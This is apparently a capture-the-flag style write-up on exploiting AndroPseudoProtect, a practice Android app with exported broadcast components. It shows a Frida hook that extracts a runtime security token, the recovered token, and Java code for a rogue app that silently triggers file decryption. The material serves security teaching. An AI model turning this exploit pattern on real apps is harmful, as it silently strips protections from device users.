AndroPseudoProtect — Exploiting

Step 1

Understanding the App

AndroPseudoProtect presents itself as a file security app. It offers two buttons:

Start Security → encrypts files on the device Stop Security → decrypts them back

Simple on the surface. But the real question is: who is actually doing the work, and can someone else trigger it?

Step 2

Static Analysis with JADX

Opening the APK in JADX revealed that the buttons don’t do the heavy lifting themselves. They simply fire an Intent that gets picked up by a BroadcastReceiver, which then delegates to a Service.

The full call chain looks like this:

Button→Intent→BroadcastReceiver→Service→Encrypt / Decrypt

Then I noticed something critical in the manifest. Both the BroadcastReceiver and the Service were declared with:

android:exported="true"

This means any other application on the device can send the exact same intent — not just the app’s own UI. That’s the vulnerability.

Step 3

The Token Problem

Before getting too excited, digging deeper into the Service showed an extra protection layer. The receiver doesn’t blindly accept intents — it validates a security token passed as an extra parameter.

Tracing the code to a utility class called SecurityUtils revealed that the token is generated by a native method at runtime — not hardcoded, not stored in a file, not fetched from a server. Static analysis alone wouldn't give us the value.

Step 4

Extracting the Token with Frida

Since the token is generated at runtime, the approach is simple: hook the method and log its output while the app is running.

FRIDA HOOK — JavaScript

Java.perform(function () {
  var SecurityUtils = Java.use("com.eightksec.andropseudoprotect.SecurityUtils");

  SecurityUtils.getSecurityToken.implementation = function () {
    var token = this.getSecurityToken(); // call the real native method
    console.log("[+] TOKEN => " + token);
    return token;
  };

  console.log("[*] Hook installed on SecurityUtils.getSecurityToken()");
});

Run the app, press Start Security, and Frida outputs the live token:

OUTPUT

[*] Hook installed on SecurityUtils.getSecurityToken()
[+] TOKEN => 8ksec_S3cr3tT0k3n_D0N0tSh4r3

Now we have everything: the receiver class name, the action string, the intent extra key, and the real token value.

Step 5

Building the Exploit App

Most writeups stop here and fire the attack through ADB. I took it a step further — I built a real Android application that performs the exact same attack from within the device, no cables or debug bridge involved.

This is far more realistic. Any app installed on the device could silently do this in the background, completely invisible to the user.

ExploitActivity.java

private void runExploit() {
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.eightksec.andropseudoprotect", "com.eightksec.andropseudoprotect.SecurityReceiver"));
        intent.setAction("com.eightksec.andropseudoprotect.STOP_SECURITY");
        intent.putExtra("security_token", "8ksec_S3cr3tT0k3n_D0N0tSh4r3");
        sendBroadcast(intent);

        Toast.makeText(this, "Exploit triggered!", Toast.LENGTH_SHORT).show();
    }

The exploit app crafts the same intent the real app sends internally, supplies the correct token, and broadcasts it. The victim app receives it, validates everything, and decrypts the files — believing it was a legitimate internal request.

Result

Why This Matters

The user opens AndroPseudoProtect, presses Start Security, and walks away feeling protected. Meanwhile, a rogue app on the same device sends the stop broadcast with the correct token. The protection is silently disabled — no notification, no error, no indication anything happened.

Root cause: Exporting sensitive BroadcastReceiver and Service components without proper caller validation. A secret token alone is not sufficient protection when it can be observed at runtime.